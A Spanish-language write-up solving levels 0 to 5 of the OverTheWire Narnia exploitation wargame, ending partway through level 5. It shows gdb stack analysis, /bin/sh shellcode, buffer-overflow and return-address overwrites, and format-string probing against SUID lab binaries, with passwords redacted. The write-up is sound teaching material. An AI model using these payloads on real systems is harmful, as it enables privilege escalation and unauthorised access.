Mi solución al wargame Narnia

http://www.overthewire.org/wargames/narnia/ 24/02/2013 @neosysforensics

Índice de contenido
Introducción........................................................................................................................... 5 Nivel 0..................................................................................................................................... 7 Nivel 1................................................................................................................................... 11 Nivel 2................................................................................................................................... 13 Nivel 3................................................................................................................................... 17 Nivel 4................................................................................................................................... 21 Nivel 5................................................................................................................................... 25 Nivel 6................................................................................................................................... 29 Nivel 7................................................................................................................................... 35 Nivel 8................................................................................................................................... 39 Nivel 9................................................................................................................................... 47

4

Introducción
El reto Narnia, alojado en los servidores de overthewire 1, es un reto de exploiting de nivel básico dado que los binarios no están sujetos a ningún tipo de protección, lease ASLR, ejecución de código en el stack, protección frente a desbordamientos de buffer, etc. Además de todo lo anterior, cada uno de los binarios que se corresponden con los diferentes niveles viene acompañado de su código fuente, lo que facilitará su análisis y comprensión utilizando GNU debugger (aka gdb2). La dirección del servidor que aloja el wargame es narnia.labs.overthewire.org y accederemos al mismo utilizando cualquier cliente SSH (PuTTY3 desde Windows, por ejemplo). Mas información, incluyendo los créditos de los creadores del reto en la dirección: http://www.overthewire.org/wargames/narnia/ No lo indico explícitamente pero es recomendable borrar cualquier fichero generado para superar el reto correspondiente a cada nivel una vez completado éste. Sin más preámbulos pasemos a la acción :-)

1 2 3

http://www.overthewire.org/wargames/ http://www.gnu.org/software/gdb/ http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html

5

6

Nivel 0
Utilizaremos narnia0 como nombre de usuario y contraseña y una vez autentificados en el sistema comenzaremos a familiarizarnos con él. Aterrizaremos en el directorio /home del usuario, sobre el que tendremos unos permisos muy restringidos:
narnia0@melissa:~$ ls -ld . drwxr-xr-x 2 root root 4096 2012-06-28 14:55 .

Si por cualquier motivo necesitamos crear algún fichero tendremos que desplazarnos al directorio /tmp, y procurar no olvidar el nombre del mismo, dado que no podremos listar el contenido del directorio:
narnia0@melissa:~$ cd /tmp narnia0@melissa:/tmp$ ls -ld . drwxrwx-wt 1299 root root 602112 2013-02-20 19:58 .

Los binarios y sus correspondientes ficheros de código fuente se encuentran en la siguiente ruta:
narnia0@melissa:/tmp$ ls -l /narnia total 69 -r-sr-x--- 1 narnia1 narnia0 7247 2012-06-28 -r--r----- 1 narnia0 narnia0 1138 2012-06-28 -r-sr-x--- 1 narnia2 narnia1 7163 2012-09-24 -r--r----- 1 narnia1 narnia1 1000 2012-09-24 -r-sr-x--- 1 narnia3 narnia2 4661 2012-06-28 -r--r----- 1 narnia2 narnia2 999 2012-06-28 -r-sr-x--- 1 narnia4 narnia3 5339 2012-06-28 -r--r----- 1 narnia3 narnia3 1841 2012-06-28 -r-sr-x--- 1 narnia5 narnia4 4855 2012-06-28 -r--r----- 1 narnia4 narnia4 1064 2012-06-28 -r-sr-x--- 1 narnia6 narnia5 5007 2012-06-28 -r--r----- 1 narnia5 narnia5 1221 2012-06-28 -r-sr-x--- 1 narnia7 narnia6 5297 2012-12-19 -r--r----- 1 narnia6 narnia6 1340 2012-12-19 -r-sr-x--- 1 narnia8 narnia7 5866 2012-06-28 -r--r----- 1 narnia7 narnia7 1930 2012-06-28 -r-sr-x--- 1 narnia9 narnia8 4692 2012-06-28 -r--r----- 1 narnia8 narnia8 1292 2012-06-28

14:55 14:55 12:48 12:48 14:55 14:55 14:55 14:55 14:55 14:55 14:55 14:55 19:01 19:01 14:55 14:55 14:55 14:55

narnia0 narnia0.c narnia1 narnia1.c narnia2 narnia2.c narnia3 narnia3.c narnia4 narnia4.c narnia5 narnia5.c narnia6 narnia6.c narnia7 narnia7.c narnia8 narnia8.c

Cada uno de los ejecutables pertenece al usuario correspondiente al siguiente nivel y todos tienen activo el bit SUID4. Por otra parte las contraseñas para los diferentes niveles se almacenan en el directorio /etc/narnia_pass, en un fichero con el nombre del usuario correspondiente.
4 http://www.iec.csic.es/criptonomicon/linux/suid.html

7

narnia0@melissa:/tmp$ ls -l /etc/narnia_pass/ total 40 -r-------- 1 narnia0 narnia0 8 2012-06-28 14:55 -r-------- 1 narnia1 narnia1 11 2012-09-24 12:48 -r-------- 1 narnia2 narnia2 11 2012-06-28 14:55 -r-------- 1 narnia3 narnia3 11 2012-06-28 14:55 -r-------- 1 narnia4 narnia4 11 2012-06-28 14:55 -r-------- 1 narnia5 narnia5 11 2012-06-28 14:55 -r-------- 1 narnia6 narnia6 11 2012-12-19 19:01 -r-------- 1 narnia7 narnia7 11 2012-06-28 14:55 -r-------- 1 narnia8 narnia8 11 2012-06-28 14:55 -r-------- 1 narnia9 narnia9 11 2012-06-28 14:55

narnia0 narnia1 narnia2 narnia3 narnia4 narnia5 narnia6 narnia7 narnia8 narnia9

De todo lo anterior deducimos que explotando algún fallo en los binarios de cada nivel tendremos que ser capaces de leer el fichero con la contraseña para acceder al siguiente. Empezaremos viendo el código fuente del primero:
narnia0@melissa:~$ cat /narnia/narnia0.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include <stdio.h> #include <stdlib.h> int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef) system("/bin/sh"); else { printf("WAY OFF!!!!\n"); exit(1); } return 0; }

8

Parece que el programa recibe interactivamente nuestra entrada de texto para, a continuación, comprobar el valor de una variable almacenada previamente; si conseguimos hacer que el valor de dicha variable, en hexadecimal, sea igual a “deadbeef” obtendremos como premio una shell desde la que podremos leer el fichero con la contraseña de acceso al siguiente nivel. Empezaremos con las perrerías, probando directamente a desbordar el buffer de destino introduciendo 21 caracteres (buf solo admite 20):
narnia0@melissa:/narnia$ /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: BBBBBBBBBBBBBBBBBBBBB buf: BBBBBBBBBBBBBBBBBBBBB val: 0x41410042 WAY OFF!!!!

De la salida podemos deducir que la variable val se sitúa en la pila justo después del final de buf ya que hemos sobreescrito dos bytes: una B y el valor nulo indicador del final de cadena. Vamos a confirmarlo probando con 24 caracteres:
narnia0@melissa:/narnia$ /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBB buf: BBBBBBBBBBBBBBBBBBBBBBBB val: 0x42424242 WAY OFF!!!!

Ahora mediante python generaremos la cadena que utilizaremos como entrada utilizando 20 B's y el valor hexadecimal “deadbeef”, recordando que estamos en un sistema little-endian5 y que por lo tanto tendremos que ponerla justo “al revés”:
narnia0@melissa:~$ python -c 'print "B" * 20 + "\xef\xbe\xad\xde"' BBBBBBBBBBBBBBBBBBBBï¾Þ

Solo resta utilizar la cadena anterior como entrada de la aplicación vulnerable, y para ello tenemos dos opciones: la cutre, que fué la que yo usé, y la elegante6, que es la que averiguó @NewLog_. La cutre consiste en copiar la cadena generada con el comando anterior, ejecutar la aplicación y pegarla cuando nos solicite la entrada. La más elegante seria:
narnia0@melissa:~$ (python -c 'print "B" * 20 + "\xef\xbe\xad\xde"' ; cat) \ > | /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBï¾Þ val: 0xdeadbeef cat /etc/narnia_pass/narnia1 lolololol

5 6

http://es.wikipedia.org/wiki/Endianness http://foro.overflowedminds.net/viewtopic.php?f=32&t=76#p1309

9

A pesar que no veamos el prompt estaremos dentro de una shell, y de hecho al ejecutar el comando para obtener la contraseña éste se ejecutará devolviéndola como resultado. Para salir de la shell podemos utilizar Ctrl+C o el comando exit mas un retorno de carro. Por cierto, ni en ésta ni en el resto de soluciones he incluido la contraseña correcta.

10

Nivel 1
Una vez autentificados en el sistema como el usuario narnia1 con la contraseña obtenida en el nivel anterior analizaremos el código fuente de la aplicación:
narnia1@melissa:~$ cat /narnia/narnia1.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }

USA

El programa comprueba el valor de la variable de entorno EGG de forma que, si está definida, comenzará a ejecutar las instrucciones que allí encuentre. Pues nada, ya lo tenemos, bastará con exportar en la variable de entorno EGG una shellcode que ejecute bash y lanzar a continuación la aplicación vulnerable:
narnia1@melissa:~$ export EGG=$(python -c 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e" + "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"') narnia1@melissa:~$ /narnia/narnia1 Trying to execute EGG! $ cat /etc/narnia_pass/narnia2 lolololol

11

12

Nivel 2
Autentificados en el sistema como el usuario narnia2 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia2@melissa:~$ cat /narnia/narnia2.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; }

USA

Probaremos a desbordar el buffer, buf[128], pero antes utilizaremos gdb para analizar la aplicación y ver la composición del stack:
narnia2@melissa:~$ gdb -q /narnia/narnia2 Reading symbols from /narnia/narnia2...(no debugging symbols found)...done. (gdb) break strcpy Breakpoint 1 at 0x8048314 (gdb) run AAAA Starting program: /narnia/narnia2 AAAA Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6a8: 0xffffd748 0x08048450 0xffffd6c0

0xffffd929

Estamos dentro de la función strcpy, así que los cuatro valores mostrados se corresponden, por orden de aparición, con los siguientes: 13

• • • •

Dirección del stack donde está el registro EBP para el main: 0xffffd748. Dirección para la siguiente instrucción una vez finalice la función: 0x08048450. Dirección que apunta a buf[128], primer argumento de strcpy: 0xffffd6c0. Dirección para el contenido de argv[1], segundo argumento de strcpy: 0xffffd929.

Por lo tanto el stack, una vez terminada strcpy, tendrá más o menos el siguiente aspecto:
0xffffd74c: EBP --> 0xffffd748: 0xffffd74c: ..........: 0xffffd6c0: 0xffffd6bc: 0xffffd6b8: 0xffffd6b4: ESP --> 0xffffd6b0: EIP del main EBP del main buf[128] buf[128] buf[128] No es importante No es importante No es importante No es importante

Los valores exactos variarán cuando utilicemos un buffer más grande, pero lo realmente importante es el “offset” necesario para sobreescribir EIP:
0xffffd74c – 0xffffd6c0 = 0x8c + 0x4 = 0x90 → 144 en decimal

Probemos:
narnia2@melissa:~$ /narnia/narnia2 $(python -c 'print "A" * 144') Segmentation fault

Exportaremos una variable de entorno con una shellcode, obtendremos la dirección de dicha variable en memoria y la usaremos para sobreescribir EIP. Dado que tenemos que generar y compilar un programa para obtener dicha dirección nos situaremos en el directorio /tmp.
narnia2@melissa:~$ cd /tmp narnia2@melissa:/tmp$ export SHELLCODE=$(python -c 'print "\x31\xc0\x31\xdb\xb0" + "\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" + "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff" + "\xff/bin/sh"') narnia2@melissa:/tmp$ vim get_address.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { if(!argv[1]) exit(1); printf("%#x\n", getenv(argv[1])); return 0; }

14

Para obtener la dirección correcta tenemos que compilar el programa como un binario de 32 bits, ya que a pesar de ejecutarse en un sistema de 64 bits los binarios del reto están generados así:
narnia2@melissa:/tmp$ gcc -m32 -o get_address get_address.c narnia2@melissa:/tmp$ ./get_address SHELLCODE 0xffffdf01

Utilizando la dirección anterior desbordaremos la variable buf sobreescribiendo EIP:
narnia2@melissa:/tmp$ /narnia/narnia2 $(python -c 'print "A" * 140 + "\x01\xdf\xff\xff"') $ cat /etc/narnia_pass/narnia3 lolololol

15

16

Nivel 3
Autentificados en el sistema como el usuario narnia3 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia3@melissa:~$ cat /narnia/narnia3.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include #include #include #include #include #include #include <stdio.h> <sys/types.h> <sys/stat.h> <fcntl.h> <unistd.h> <stdlib.h> <string.h>

USA

int main(int argc, char **argv){ int char char char ifd, ofd; ofile[16] = "/dev/null"; ifile[32]; buf[32];

if(argc != 2){ printf("usage, %s file, will send contents of file 2" "/dev/null\n",argv[0]); exit(-1); } /* open files */ strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("error opening %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("error opening %s\n", ifile); exit(-1); } /* copy from file1 to file2 */ read(ifd, buf, sizeof(buf)-1); write(ofd,buf, sizeof(buf)-1); printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

17

/* close 'em */ close(ifd); close(ofd); exit(1); }

Leyendo el código vemos dos ficheros utilizados por la aplicación: el fichero de entrada recibido como argumento desde la línea de comandos y el fichero de salida que apunta a /dev/null. Si ejecutamos el binario tal que:
narnia3@melissa:~$ /narnia/narnia3 /etc/narnia_pass/narnia4 copied contents of /etc/narnia_pass/narnia4 to a safer place... (/dev/null)

Se copiará la contraseña que queremos obtener al fichero definido como destino, así que lo que tendremos que conseguir es que la salida deje de apuntar a /dev/null y lo haga a un fichero controlado por nosotros. Volvamos a lanzar la aplicación desde dentro del debugger para “dibujarnos” el contenido del stack. Pongamos un breakpoint en la llamada a strcpy7:
narnia3@melissa:~$ gdb -q /narnia/narnia3 Reading symbols from /narnia/narnia3...(no debugging symbols found)...done. (gdb) break strcpy Breakpoint 1 at 0x80483c0 (gdb) run /etc/narnia_pass/narnia4 Starting program: /narnia/narnia3 /etc/narnia_pass/narnia4 Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6b8: 0xffffd738 0x0804851d 0xffffd6f8

0xffffd915

Como estamos dentro de la función strcpy una vez ejecutado el prólogo, los valores de la salida anterior, en el mismo orden en que aparecen, se corresponderán con: • • • • Dirección de EBP dentro del main: 0xffffd738. Siguiente instrucción al terminar strcpy (EIP en el main): 0x0804851d. Dirección en el stack donde empieza ifile[32]: 0xffffd6f8. Dirección en el stack para la cadena correspondiente a argv[1]: 0xffffd915.

Comprobémoslo poniendo un breakpoint en la instrucción inmediatamente posterior a strcpy:
(gdb) break *0x0804851d Breakpoint 2 at 0x804851d

7

http://linux.die.net/man/3/strcpy

18

(gdb) c Continuing. Breakpoint 2, 0x0804851d in main () (gdb) print (char *) 0xffffd6f8 $1 = 0xffffd6f8 "/etc/narnia_pass/narnia4" (gdb) print (char *) 0xffffd915 $2 = 0xffffd915 "/etc/narnia_pass/narnia4"

Veamos ahora qué es lo que tenemos justo “detrás” de ifile[32], que será la región del stack que podremos sobreescribir desbordando el buffer:
(gdb) x/12xw 0xffffd6f8 0xffffd6f8: 0x6374652f 0xffffd708: 0x72616e2f 0xffffd718: 0x7665642f

0x72616e2f 0x3461696e 0x6c756e2f

0x5f61696e 0xf7ea2c00 0x0000006c

0x73736170 0xf7fd3324 0x00000000

Encontramos primero, como era de esperar, la cadena utilizada como argumento de la aplicación, /etc/narnia_pass/narnia4, escrita en little-endian usando un valor hexadecimal de 1 byte para representar cada carácter ASCII 8, y terminada con el carácter de final de cadena o carácter nulo (00). Y justo a continuación encontramos lo que parece ser otra cadena, ¿quizás la variable ofile[16] establecida por defecto a /dev/null?
(gdb) print (char *) 0xffffd6f8+32 $3 = 0xffffd718 "/dev/null"

Ahí la tenemos, así que la estructura de nuestro payload será:
/etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd |______________________________||______________| ifile[32] ofile[16]

Tendremos que rellenar la primera cadena con A's para empezar a escribir la segunda cadena justo en el lugar adecuado. La segunda cadena termina en un byte nulo, por lo que no es necesario ningún relleno. Sobra decir que el número de caracteres que forman la ruta del fichero donde volcaremos la contraseña tiene que ser necesariamente inferior a 15 caracteres (15 + 1 byte nulo).
(gdb) run /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia3 /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6

8

http://www.asciitable.com/

19

(gdb) x/4xw $esp 0xffffd6a8: 0xffffd728 (gdb) c Continuing.

0x0804851d

0xffffd6e8

0xffffd902

Breakpoint 2, 0x0804851d in main () (gdb) print (char *) 0xffffd6e8 $4 = 0xffffd6e8 "/etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd" (gdb) print (char *) 0xffffd6e8+32 $5 = 0xffffd708 "/tmp/passwd"

Los offsets han cambiado debido a la mayor longitud del argumento recibido como entrada por la aplicación, pero la estructura del stack se mantiene, así que ya lo tenemos. Nos desplazaremos al directorio /tmp, donde crearemos los ficheros necesarios para obtener la contraseña. Primero el fichero de destino, con los permisos adecuados para que pueda escribir en él cualquier usuario del sistema (y por ende el binario /narnia/narnia3):
narnia3@melissa:/tmp$ touch passwd narnia3@melissa:/tmp$ chmod 777 passwd

y ahora crearemos un enlace simbólico al fichero con la contraseña. Debemos hacerlo así porque la aplicación usará /etc/narnia_pass/narnia4AAAAAAAA/tmp/passwd como nombre del fichero a leer:
narnia3@melissa:/tmp$ ln -s /etc/narnia_pass/narnia4 \ > /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd

Solo nos queda ejecutar la aplicación pasándole como argumento la cadena maliciosa y leer la contraseña obtenida:
narnia3@melissa:/tmp$ /narnia/narnia3 /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd copied contents of /tmp/narnia_pass/narnia4AAAAAAAA/tmp/passwd to a safer place... (/tmp/passwd) narnia3@melissa:/tmp$ cat passwd lolololol

20

Nivel 4
Autentificados en el sistema como el usuario narnia4 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia4@melissa:~$ cat /narnia/narnia4.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include #include #include #include <string.h> <stdlib.h> <stdio.h> <ctype.h>

USA

extern char **environ; int main(int argc,char **argv){ int i; char buffer[256]; for(i = 0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); if(argc>1) strcpy(buffer,argv[1]); return 0; }

La aplicación no muestra ningún tipo de salida además de que el objetivo parece estar claro: desbordar la variable buffer[256] para sobreescribir EIP y ejecutar así nuestra shellcode:
narnia4@melissa:~$ gdb -q /narnia/narnia4 Reading symbols from /narnia/narnia4...(no debugging symbols found)...done. (gdb) break *strcpy Breakpoint 1 at 0x804838c (gdb) run AAAA Starting program: /narnia/narnia4 AAAA Breakpoint 1, 0xf7eea120 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd61c: 0x080484ee 0xffffd63c 0xffffd929

0x00000021

21

(gdb) info reg ebp ebp 0xffffd748

0xffffd748

De las instrucciones anteriores podemos deducir la siguiente composición del stack:
0xffffd74c: EBP --> 0xffffd748: ........... 0xffffd63c: ….......... ESP --> 0xffffd61c: EIP No es importante Inicio de buffer[256] No es importante

Por lo tanto para sobreescribir EIP necesitaremos:
0xffffd74c – 0xffffd63c = 0x110 + 0x4 = 0x114 → 276 en decimal

Respecto a la ubicación de nuestra shellcode, no podremos utilizar una variable de entorno como hemos hecho hasta ahora dado que la aplicación se encarga de vaciar el contenido del entorno durante su ejecución. Pero este será el menor de los problemas ya que tenemos suficiente espacio en buffer para colocarla allí dentro; el verdadero “problema” será la dirección que utilizaremos en EIP y que tendrá que apuntar dentro de nuestro buffer y antes de la shellcode. Analicemos en que forma se modifican las direcciones utilizando la cantidad de caracteres necesarios para sobreescribir EIP y si, efectivamente, dicho registro es sobreescrito:
narnia4@melissa:/tmp$ gdb -q /narnia/narnia4 Reading symbols from /narnia/narnia4...(no debugging symbols found)...done. (gdb) break strcpy Breakpoint 1 at 0x804838c (gdb) run $(python -c 'print "A" * 276') Starting program: /narnia/narnia4 $(python -c 'print "A" * 276') Breakpoint 1, 0xf7eea123 in strcpy () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd518: 0xffffd648 0x080484ee 0xffffd53c (gdb) break *0x080484ee Breakpoint 2 at 0x80484ee (gdb) c Continuing. Breakpoint 2, 0x080484ee in main () (gdb) x/xw $ebp+4 0xffffd64c: 0x41414141

0xffffd822

Nuestro buffer comienza en la dirección 0xffffd53c. Colocaremos al inicio del mismo una cantidad suficiente de NOP's, a continuación nuestra shellcode y al final la dirección de retorno apuntando a la serie de NOP's y repetida tantas veces como sea necesario para llegar hasta EIP.

22

Primero generaremos un fichero de texto con la shellcode y calcularemos su longitud:
narnia2@melissa:/tmp$ perl -e 'print "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e" . "\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56" . "\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"' > shc narnia4@melissa:/tmp$ wc -c shc 53 shc

En este caso he utilizado perl dado que python se empeña en agregar un carácter de nueva linea al final de la cadena y por lo tanto no funcionará al meter la shellcode dentro de buffer.
276 – 200 NOP's – 53 shc = 23

Como el carácter se desalinea (las direcciones van en bloques de 4 bytes) incrementaremos en 3 el numero de NOP's a utilizar. Por lo tanto nos quedan 20 bytes y para asegurarnos repetiremos 5 veces la dirección de retorno, la cual apuntará a los NOP's (de hecho apunta a buffer más 20 bytes). Probaremos a ver si funciona:
narnia4@melissa:/tmp$ /narnia/narnia4 $(python -c 'print "\x90" * 203')$(cat shc)$ (python -c 'print "\x50\xd5\xff\xff" * 5') $ cat /etc/narnia_pass/narnia5 lolololol

El método seguido no es muy elegante, pero cumple con su cometido.

23

24

Nivel 5
Autentificados en el sistema como el usuario narnia5 con la contraseña obtenida en el nivel anterior, primero analizaremos el código fuente de la aplicación vulnerable:
narnia5@melissa:~$ cat /narnia/narnia5.c /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof(buffer), argv[1]); buffer[sizeof(buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }

USA

En este caso tenemos que modificar el valor de la variable i para conseguir que el programa nos brinde una shell; ademas el contenido de la variable buffer se completa mediante snprintf9, que utilizará la entrada que le proporcionemos a la aplicación como cadena de formato. Y he aquí que nos enfrentamos a un tipo diferente de vulnerabilidad 10. Básicamente, si nuestra cadena es pasada directamente a una función de la familia printf nada nos impide incluir en el interior de la misma cualquier tipo de especificador de formato11 que se nos ocurra.
9 http://linux.die.net/man/3/snprintf 10 http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf 11 http://www.cdf.toronto.edu/~ajr/209/notes/printf.html

25

Este tipo especial de “símbolos” funcionan como un espacio reservado que se completa en tiempo de ejecución con los argumentos de la función, los cuales aparecerán formateados tal como dichos “símbolos” indiquen. Pero dado que los argumentos necesarios no están, la función interpretará secciones contíguas del stack como si de ellos se tratarán.
narnia5@melissa:~$ /narnia/narnia5 "%08x %08x %08x %08x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [f7fd2ff4 f7f80b19 f7ea2ab5 ffffd708] (35) i = 1 (0xffffd73c)

En este caso la cadena de formato indica que se muestren los argumentos en hexadecimal utilizando 8 caracteres completando con 0 si fuera necesario. Si lo vemos desde dentro del debugger estará más claro. Pondremos un breakpoint en la llamada a snprintf y volveremos a detener la aplicación una vez ejecutada la función, y por lo tanto escrito el contenido de buffer:
narnia5@melissa:~$ gdb -q /narnia/narnia5 Reading symbols from /narnia/narnia5...(no debugging symbols found)...done. (gdb) break snprintf Breakpoint 1 at 0x8048390 (gdb) run "%08x %08x %08x %08x" Starting program: /narnia/narnia5 "%08x %08x %08x %08x" Breakpoint 1, 0xf7ebd604 in snprintf () from /lib32/libc.so.6 (gdb) x/4xw $esp 0xffffd6c4: 0xf7fd2ff4 0xffffd738 0x08048485 (gdb) break *0x08048485 Breakpoint 2 at 0x8048485 (gdb) c Continuing. Breakpoint 2, 0x08048485 in main () (gdb) x/16xw $esp 0xffffd6d0: 0xffffd6ec 0x00000040 0xffffd6e0: 0xf7f80b19 0xf7ea2ab5 0xffffd6f0: 0x34666632 0x66376620 0xffffd700: 0x61326165 0x66203562

0xffffd6ec

0xffffd91a 0xffffd6f8 0x31623038 0x64666666

0xf7fd2ff4 0x64663766 0x37662039 0x00386636

El primer valor que aparece es la dirección de inicio de buffer, 0xffffd6ec, y por lo tanto el primer argumento que utilizó snprintf en su llamada; a continuación el segundo argumento de snprintf, sizeof(buffer), y por último la dirección en el stack de argv[1], 0xffffd91a, nuestra cadena de formato. A partir de allí los cuatro valores que aparecen son los que se utilizarán en tiempo de ejecución para sustituir los especificadores de formato, y por tanto el contenido final de buffer. Para comprobarlo dejaremos que el programa termine y por tanto que se ejecute la última sentencia printf de la aplicación:
(gdb) c Continuing. Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [f7fd2ff4 f7f80b19 f7ea2ab5 ffffd6f8] (35) i = 1 (0xffffd72c)

26

La posibilidad de “ver” los valores almacenados en el stack ya resulta suficientemente peligrosa de por sí, pero es que además, y tal como necesitamos para poder pasar al siguiente nivel, resulta posible modificar el contenido del mismo. Pero para ello primero tendremos que conocer la posición en los valores accesibles por la cadena de formato del parámetro que podemos controlar. De las pruebas realizadas hasta el momento conocemos que el comienzo de la variable que almacenará el argumento recibido por la aplicación aparece en quinto lugar, es decir:
narnia5@melissa:~$ /narnia/narnia5 "ABCD %08x %08x %08x %08x %08x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ABCD f7fd2ff4 f7f80b19 f7ea2ab5 ffffd708 44434241] (49) i = 1 (0xffffd73c)

El último especificador de formato, el correspondiente al quinto “%08x” de nuestra cadena enviada a la aplicación, nos muestra los valores hexadecimales para los 4 caracteres que indicamos en primer lugar, es decir, ABCD. Por lo tanto el parámetro que controlamos es el quinto. Si a esto le sumamos que Linux nos permite indicar en la cadena de formato el parámetro que se utilizará para sustituir cada especificador, la cadena necesaria se simplifica muchísimo:
narnia5@melissa:~$ /narnia/narnia5 "ABCD %5\$x" Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ABCD 44434241] (13) i = 1 (0xffffd73c)

Juntando todo lo anterior, un método más recomendable para localizar dicha posición, extraído del libro “The Shellcoder's Handbook: Discovering and Exploiting Security Holes”12, sería utilizar un poco de fuerza bruta:
